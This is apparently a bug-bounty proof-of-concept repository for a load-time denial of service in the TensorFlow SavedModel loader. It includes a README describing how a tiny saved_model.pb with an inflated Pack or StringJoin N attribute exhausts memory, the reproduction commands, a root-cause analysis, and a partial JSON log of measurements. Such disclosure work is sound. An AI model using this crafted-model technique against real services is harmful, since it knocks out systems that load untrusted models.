hacnho commited on
Commit
00b3eed
·
verified ·
1 Parent(s): 1f37498

Add TensorFlow SavedModel variadic N DoS PoC

Browse files
.gitignore ADDED
@@ -0,0 +1,4 @@
 
 
 
 
 
1
+ .venv/
2
+ __pycache__/
3
+ *.pyc
4
+ reproduce-*.json
README.md ADDED
@@ -0,0 +1,75 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TensorFlow SavedModel variadic `N` attribute load-time DoS PoC
2
+
3
+ This repository contains a proof of concept for a TensorFlow SavedModel
4
+ loader denial of service in `tensorflow-cpu==2.21.0`.
5
+
6
+ ## Summary
7
+
8
+ `tf.saved_model.load(model_dir)` validates `NodeDef` entries inside
9
+ `saved_model.pb`. For variadic ops such as `Pack` and `StringJoin`, TensorFlow
10
+ trusts the serialized `N` attribute while building the expected input type
11
+ signature. A malicious SavedModel can set `N=250000000` while keeping only the
12
+ original small number of inputs. During load, TensorFlow expands the expected
13
+ signature before rejecting the malformed node, causing multi-GB memory use and
14
+ CPU burn from an approximately 8 KB `saved_model.pb`.
15
+
16
+ ## Contents
17
+
18
+ - `models/control_saved_model/`: valid control SavedModel.
19
+ - `models/pack_n_250m_saved_model/`: malicious SavedModel with `Pack.N=250000000`.
20
+ - `models/string_join_n_250m_saved_model/`: malicious SavedModel with `StringJoin.N=250000000`.
21
+ - `repro_savedmodel_variadic_n_dos.py`: bounded reproduction script.
22
+ - `evidence/n-sweep-time-rss-20260623.json`: measured `N` sweep showing RSS growth.
23
+ - `evidence/structured-load-v2-20260623.json`: structured mutant loader results.
24
+
25
+ ## Reproduction
26
+
27
+ Use Linux with GNU `time` and `timeout`.
28
+
29
+ ```bash
30
+ python3 -m venv .venv
31
+ . .venv/bin/activate
32
+ pip install -r requirements.txt
33
+ python repro_savedmodel_variadic_n_dos.py --exploit pack --timeout 12 --json-out reproduce-pack.json
34
+ python repro_savedmodel_variadic_n_dos.py --exploit string_join --timeout 12 --json-out reproduce-string-join.json
35
+ ```
36
+
37
+ Expected result:
38
+
39
+ - The control SavedModel loads successfully.
40
+ - The malicious SavedModel does not complete within the timeout.
41
+ - `/usr/bin/time` reports multi-GB maximum RSS for the malicious load.
42
+
43
+ On the reporter machine, the packaged reproduction produced:
44
+
45
+ - `Pack.N=250000000`: timeout after 12 seconds at 6.39 GiB RSS.
46
+ - `StringJoin.N=250000000`: timeout after 12 seconds at 5.43 GiB RSS.
47
+
48
+ ## Root Cause
49
+
50
+ The root cause is in TensorFlow `node_def_util.cc`.
51
+
52
+ In `AddArgToSig()`, the `number_attr` value is read from the untrusted
53
+ serialized `NodeDef`. If it fits in `int32`, TensorFlow pushes one dtype per
54
+ repeat into `DataTypeVector`:
55
+
56
+ ```cpp
57
+ for (int i = 0; i < repeats; ++i) {
58
+ sig->push_back(dtype);
59
+ }
60
+ ```
61
+
62
+ `ValidateNodeDef()` then compares the expanded expected input vector with the
63
+ actual serialized input count. On mismatch, it formats the entire expanded
64
+ vector with `DataTypeVectorString(inputs)` for the exception message.
65
+
66
+ This allows a tiny SavedModel file to force allocation and formatting work
67
+ linear in attacker-controlled `N`.
68
+
69
+ ## Environment
70
+
71
+ - TensorFlow: `tensorflow-cpu==2.21.0`
72
+ - Trigger: `tf.saved_model.load(model_dir)`
73
+ - Affected file: `saved_model.pb`
74
+ - Impact: local denial of service when a victim loads or validates an untrusted
75
+ SavedModel.
SHA256SUMS ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ 9a18804a945f4ba5d547b2be497da31f3b2efa7fb8688dde6f51aa130859efd5 targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/.gitignore
2
+ 8a32da076aa9f367dfb7d14a362af9223151fe19c3a3eaad5d3c57e372eaae80 targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/README.md
3
+ 47d641ec8fac33446bec55865d12791fbdb5f1d60ab93a693565ee89de89a9c4 targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/duplicate-check.md
4
+ 18e0d3f98730ce1e2b93ce6e9ce14b5f53bfd9b13629bc1491cca73b2173e111 targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/evidence/n-sweep-time-rss-20260623.json
5
+ 14658ec093e7c46c624d4b849badd092cc724dfd06eb7bc59bb5292f3eeaae39 targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/evidence/structured-load-v2-20260623.json
6
+ 80b53f66e9b76d907c8fb79eeae23d62027e745ab1cac09f83b1377808ae75f2 targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/control_saved_model/fingerprint.pb
7
+ f9bf38bbc3b1a6e31e47e226c1b82d47d358bae62bef99e3304435015d695dab targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/control_saved_model/saved_model.pb
8
+ adf95360958dd7939ea333a6d08db5755844682feae7c18b192f9417748dffac targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/control_saved_model/variables/variables.data-00000-of-00001
9
+ 4744a6c4fef39f6bc18c7220d37d1a69020f3a7d48e29b7b73a1cf73964d2f54 targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/control_saved_model/variables/variables.index
10
+ 80b53f66e9b76d907c8fb79eeae23d62027e745ab1cac09f83b1377808ae75f2 targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/pack_n_250m_saved_model/fingerprint.pb
11
+ 4c132f37ca7bea1f44191c42c9cff199bb31071f76d35af0de2a3bc0d93a27e5 targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/pack_n_250m_saved_model/saved_model.pb
12
+ adf95360958dd7939ea333a6d08db5755844682feae7c18b192f9417748dffac targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/pack_n_250m_saved_model/variables/variables.data-00000-of-00001
13
+ 4744a6c4fef39f6bc18c7220d37d1a69020f3a7d48e29b7b73a1cf73964d2f54 targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/pack_n_250m_saved_model/variables/variables.index
14
+ 80b53f66e9b76d907c8fb79eeae23d62027e745ab1cac09f83b1377808ae75f2 targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/string_join_n_250m_saved_model/fingerprint.pb
15
+ 98456d6f26935635c55a4ad7c4f8ebb5015e255f3d3bd88d315fce92f7ed303c targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/string_join_n_250m_saved_model/saved_model.pb
16
+ adf95360958dd7939ea333a6d08db5755844682feae7c18b192f9417748dffac targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/string_join_n_250m_saved_model/variables/variables.data-00000-of-00001
17
+ 4744a6c4fef39f6bc18c7220d37d1a69020f3a7d48e29b7b73a1cf73964d2f54 targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/string_join_n_250m_saved_model/variables/variables.index
18
+ 2c8506f7f2c0c8ed24bd0c1d1c2b8e7d69c9ed371f1bc74957ffbd7406c0a0fa targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/repro_savedmodel_variadic_n_dos.py
19
+ d472088739f580d9f03644458933c1e5262adebbf7f1700eab3c667bff578b9f targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/reproduce-pack.json
20
+ 862b04eb15f61f2ae24bd676f6bd22e32f8048d33e87d5be359ab998c4361363 targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/reproduce-string-join.json
21
+ c8732db700d639b561c04740aeef4a2f67efe2e9e931bc91fcb3548032874096 targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/requirements.txt
22
+ df81c27284ca09b955f800339e508e6a56247b14476770671bbbe4bd91a6899c targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/triage.md
duplicate-check.md ADDED
@@ -0,0 +1,32 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Duplicate check notes
2
+
3
+ Checked on 2026-06-23 before submission.
4
+
5
+ Local repository searches found no previous `hacnho` submission or report for:
6
+
7
+ - `TensorFlow Saved Model`
8
+ - `SavedModel`
9
+ - `saved_model.pb`
10
+ - `ValidateNodeDef`
11
+ - `DataTypeVectorString`
12
+ - `NodeDef expected inputs`
13
+ - `number_attr`
14
+ - `Pack N`
15
+ - `StringJoin`
16
+
17
+ Upstream GitHub issue searches in `tensorflow/tensorflow` found no direct match
18
+ for `ValidateNodeDef N memory Pack StringJoin` or `DataTypeVectorString`.
19
+
20
+ Web searches found general TensorFlow SavedModel documentation and unrelated
21
+ `NodeDef expected inputs` user errors, but no report of a crafted SavedModel
22
+ using a huge variadic `N` attr to cause load-time resource exhaustion.
23
+
24
+ Huntr hacktivity was checked through `https://huntr.com/bounties/hacktivity`.
25
+ The resulting screenshots/JSON are stored in this workspace under
26
+ `targets/huntr/evidence/tensorflow-savedmodel-lab/hacktivity-duplicate-check/`.
27
+ Terms `TensorFlow Saved Model`, `SavedModel`, `saved_model.pb`,
28
+ `ValidateNodeDef`, `DataTypeVectorString`, `NodeDef expected inputs`,
29
+ `number_attr`, and `StringJoin` each scanned 1297 public reports with zero
30
+ matching bounty links. The broad term `Pack` returned five unrelated reports
31
+ about package names or non-TensorFlow projects; none involved TensorFlow
32
+ SavedModel, `NodeDef`, variadic op metadata, or load-time resource exhaustion.
evidence/n-sweep-time-rss-20260623.json ADDED
@@ -0,0 +1,184 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "results": [
3
+ {
4
+ "elapsed_sec_parent": 2.371,
5
+ "exit_code": 1,
6
+ "kind": "pack_n",
7
+ "maxrss_kb": 526104,
8
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/pack_n_1000000",
9
+ "n": 1000000,
10
+ "saved_model_pb_size": 8265,
11
+ "stderr_tail": "ring, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 1 inputs specified; Op<name=Pack; signature=values:N*T -> output:T; attr=N:int,min=1; attr=T:type; attr=axis:int,default=0>; NodeDef: {{node MergeV2Checkpoints/checkpoint_prefixes}}\nCommand exited with non-zero status 1\nTIME_RESULT real=2.31 user=2.01 sys=0.28 maxrss_kb=526104 exit=1\n",
12
+ "stdout_tail": "before_load 1782216348.7538211\n",
13
+ "time_exit": 1,
14
+ "time_real_sec": 2.31,
15
+ "time_sys_sec": 0.28,
16
+ "time_user_sec": 2.01
17
+ },
18
+ {
19
+ "elapsed_sec_parent": 2.869,
20
+ "exit_code": 1,
21
+ "kind": "pack_n",
22
+ "maxrss_kb": 662280,
23
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/pack_n_5000000",
24
+ "n": 5000000,
25
+ "saved_model_pb_size": 8266,
26
+ "stderr_tail": "ring, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 1 inputs specified; Op<name=Pack; signature=values:N*T -> output:T; attr=N:int,min=1; attr=T:type; attr=axis:int,default=0>; NodeDef: {{node MergeV2Checkpoints/checkpoint_prefixes}}\nCommand exited with non-zero status 1\nTIME_RESULT real=2.70 user=2.13 sys=0.48 maxrss_kb=662280 exit=1\n",
27
+ "stdout_tail": "before_load 1782216351.1483314\n",
28
+ "time_exit": 1,
29
+ "time_real_sec": 2.7,
30
+ "time_sys_sec": 0.48,
31
+ "time_user_sec": 2.13
32
+ },
33
+ {
34
+ "elapsed_sec_parent": 3.508,
35
+ "exit_code": 1,
36
+ "kind": "pack_n",
37
+ "maxrss_kb": 797924,
38
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/pack_n_10000000",
39
+ "n": 10000000,
40
+ "saved_model_pb_size": 8266,
41
+ "stderr_tail": "ring, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 1 inputs specified; Op<name=Pack; signature=values:N*T -> output:T; attr=N:int,min=1; attr=T:type; attr=axis:int,default=0>; NodeDef: {{node MergeV2Checkpoints/checkpoint_prefixes}}\nCommand exited with non-zero status 1\nTIME_RESULT real=3.20 user=2.24 sys=0.83 maxrss_kb=797924 exit=1\n",
42
+ "stdout_tail": "before_load 1782216353.9892404\n",
43
+ "time_exit": 1,
44
+ "time_real_sec": 3.2,
45
+ "time_sys_sec": 0.83,
46
+ "time_user_sec": 2.24
47
+ },
48
+ {
49
+ "elapsed_sec_parent": 8.402,
50
+ "exit_code": 1,
51
+ "kind": "pack_n",
52
+ "maxrss_kb": 1891536,
53
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/pack_n_50000000",
54
+ "n": 50000000,
55
+ "saved_model_pb_size": 8266,
56
+ "stderr_tail": "ing, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 1 inputs specified; Op<name=Pack; signature=values:N*T -> output:T; attr=N:int,min=1; attr=T:type; attr=axis:int,default=0>; NodeDef: {{node MergeV2Checkpoints/checkpoint_prefixes}}\nCommand exited with non-zero status 1\nTIME_RESULT real=7.16 user=3.73 sys=2.98 maxrss_kb=1891536 exit=1\n",
57
+ "stdout_tail": "before_load 1782216357.7314134\n",
58
+ "time_exit": 1,
59
+ "time_real_sec": 7.16,
60
+ "time_sys_sec": 2.98,
61
+ "time_user_sec": 3.73
62
+ },
63
+ {
64
+ "elapsed_sec_parent": 13.426,
65
+ "exit_code": 1,
66
+ "kind": "pack_n",
67
+ "maxrss_kb": 3258416,
68
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/pack_n_100000000",
69
+ "n": 100000000,
70
+ "saved_model_pb_size": 8266,
71
+ "stderr_tail": "ng, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 1 inputs specified; Op<name=Pack; signature=values:N*T -> output:T; attr=N:int,min=1; attr=T:type; attr=axis:int,default=0>; NodeDef: {{node MergeV2Checkpoints/checkpoint_prefixes}}\nCommand exited with non-zero status 1\nTIME_RESULT real=11.09 user=5.41 sys=5.06 maxrss_kb=3258416 exit=1\n",
72
+ "stdout_tail": "before_load 1782216366.5491536\n",
73
+ "time_exit": 1,
74
+ "time_real_sec": 11.09,
75
+ "time_sys_sec": 5.06,
76
+ "time_user_sec": 5.41
77
+ },
78
+ {
79
+ "elapsed_sec_parent": 12.425,
80
+ "exit_code": 124,
81
+ "kind": "pack_n",
82
+ "maxrss_kb": 6654568,
83
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/pack_n_250000000",
84
+ "n": 250000000,
85
+ "saved_model_pb_size": 8266,
86
+ "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216379.380374 3086744 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216380.564503 3086744 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nCommand exited with non-zero status 124\nTIME_RESULT real=12.42 user=7.25 sys=5.16 maxrss_kb=6654568 exit=124\n",
87
+ "stdout_tail": "before_load 1782216380.790944\n",
88
+ "time_exit": 124,
89
+ "time_real_sec": 12.42,
90
+ "time_sys_sec": 5.16,
91
+ "time_user_sec": 7.25
92
+ },
93
+ {
94
+ "elapsed_sec_parent": 2.444,
95
+ "exit_code": 1,
96
+ "kind": "string_join_n",
97
+ "maxrss_kb": 524684,
98
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/string_join_n_1000000",
99
+ "n": 1000000,
100
+ "saved_model_pb_size": 8265,
101
+ "stderr_tail": "ring, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 2 inputs specified; Op<name=StringJoin; signature=inputs:N*string -> output:string; attr=N:int,min=0; attr=separator:string,default=\"\">; NodeDef: {{node StringJoin}}\nCommand exited with non-zero status 1\nTIME_RESULT real=2.41 user=2.11 sys=0.29 maxrss_kb=524684 exit=1\n",
102
+ "stdout_tail": "before_load 1782216393.490017\n",
103
+ "time_exit": 1,
104
+ "time_real_sec": 2.41,
105
+ "time_sys_sec": 0.29,
106
+ "time_user_sec": 2.11
107
+ },
108
+ {
109
+ "elapsed_sec_parent": 2.698,
110
+ "exit_code": 1,
111
+ "kind": "string_join_n",
112
+ "maxrss_kb": 662160,
113
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/string_join_n_5000000",
114
+ "n": 5000000,
115
+ "saved_model_pb_size": 8266,
116
+ "stderr_tail": "ring, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 2 inputs specified; Op<name=StringJoin; signature=inputs:N*string -> output:string; attr=N:int,min=0; attr=separator:string,default=\"\">; NodeDef: {{node StringJoin}}\nCommand exited with non-zero status 1\nTIME_RESULT real=2.60 user=2.10 sys=0.45 maxrss_kb=662160 exit=1\n",
117
+ "stdout_tail": "before_load 1782216395.8928583\n",
118
+ "time_exit": 1,
119
+ "time_real_sec": 2.6,
120
+ "time_sys_sec": 0.45,
121
+ "time_user_sec": 2.1
122
+ },
123
+ {
124
+ "elapsed_sec_parent": 3.595,
125
+ "exit_code": 1,
126
+ "kind": "string_join_n",
127
+ "maxrss_kb": 797440,
128
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/string_join_n_10000000",
129
+ "n": 10000000,
130
+ "saved_model_pb_size": 8266,
131
+ "stderr_tail": "ring, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 2 inputs specified; Op<name=StringJoin; signature=inputs:N*string -> output:string; attr=N:int,min=0; attr=separator:string,default=\"\">; NodeDef: {{node StringJoin}}\nCommand exited with non-zero status 1\nTIME_RESULT real=3.45 user=2.50 sys=0.82 maxrss_kb=797440 exit=1\n",
132
+ "stdout_tail": "before_load 1782216398.7431524\n",
133
+ "time_exit": 1,
134
+ "time_real_sec": 3.45,
135
+ "time_sys_sec": 0.82,
136
+ "time_user_sec": 2.5
137
+ },
138
+ {
139
+ "elapsed_sec_parent": 8.415,
140
+ "exit_code": 1,
141
+ "kind": "string_join_n",
142
+ "maxrss_kb": 1892560,
143
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/string_join_n_50000000",
144
+ "n": 50000000,
145
+ "saved_model_pb_size": 8266,
146
+ "stderr_tail": "ing, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 2 inputs specified; Op<name=StringJoin; signature=inputs:N*string -> output:string; attr=N:int,min=0; attr=separator:string,default=\"\">; NodeDef: {{node StringJoin}}\nCommand exited with non-zero status 1\nTIME_RESULT real=6.83 user=3.86 sys=2.69 maxrss_kb=1892560 exit=1\n",
147
+ "stdout_tail": "before_load 1782216402.4563267\n",
148
+ "time_exit": 1,
149
+ "time_real_sec": 6.83,
150
+ "time_sys_sec": 2.69,
151
+ "time_user_sec": 3.86
152
+ },
153
+ {
154
+ "elapsed_sec_parent": 13.275,
155
+ "exit_code": 1,
156
+ "kind": "string_join_n",
157
+ "maxrss_kb": 3259836,
158
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/string_join_n_100000000",
159
+ "n": 100000000,
160
+ "saved_model_pb_size": 8266,
161
+ "stderr_tail": "ng, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 2 inputs specified; Op<name=StringJoin; signature=inputs:N*string -> output:string; attr=N:int,min=0; attr=separator:string,default=\"\">; NodeDef: {{node StringJoin}}\nCommand exited with non-zero status 1\nTIME_RESULT real=10.84 user=5.42 sys=4.71 maxrss_kb=3259836 exit=1\n",
162
+ "stdout_tail": "before_load 1782216411.367859\n",
163
+ "time_exit": 1,
164
+ "time_real_sec": 10.84,
165
+ "time_sys_sec": 4.71,
166
+ "time_user_sec": 5.42
167
+ },
168
+ {
169
+ "elapsed_sec_parent": 12.422,
170
+ "exit_code": 124,
171
+ "kind": "string_join_n",
172
+ "maxrss_kb": 6139352,
173
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/string_join_n_250000000",
174
+ "n": 250000000,
175
+ "saved_model_pb_size": 8266,
176
